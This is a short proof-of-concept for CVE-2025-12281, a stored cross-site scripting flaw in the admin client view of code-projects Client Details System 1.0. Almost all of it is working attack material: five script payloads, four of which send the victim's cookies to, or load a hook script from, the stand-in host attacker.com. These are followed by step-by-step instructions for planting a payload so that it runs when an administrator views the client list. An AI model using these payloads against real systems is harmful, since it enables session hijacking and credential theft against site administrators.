CVE-2025-12281 code-projects Client Details System 1.0 跨站脚本漏洞

<!-- CVE-2025-12281 PoC - Stored XSS in code-projects Client Details System 1.0 --> <!-- Target: /admin/clientview.php --> <!-- Attack Vector: Inject malicious JavaScript in client detail fields --> <!-- Method 1: Basic XSS payload in client name field --> <script>alert('XSS')</script> <!-- Method 2: Cookie stealing payload --> <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Method 3: Session hijacking with BeEF --> <script src="https://attacker.com/hook.js"></script> <!-- Method 4: HTML img onerror event --> <img src=x onerror="this.src='https://attacker.com/log?data='+document.cookie"> <!-- Method 5: SVG-based XSS --> <svg/onload=fetch('https://attacker.com/steal?c='+btoa(document.cookie))> <!-- Exploitation Steps: --> <!-- 1. Login to admin panel at /admin --> <!-- 2. Navigate to client management section --> <!-- 3. Add new client or edit existing client --> <!-- 4. Insert XSS payload in any text field (name, address, phone, etc.) --> <!-- 5. Save the client details --> <!-- 6. When admin views client list in clientview.php, XSS will execute -->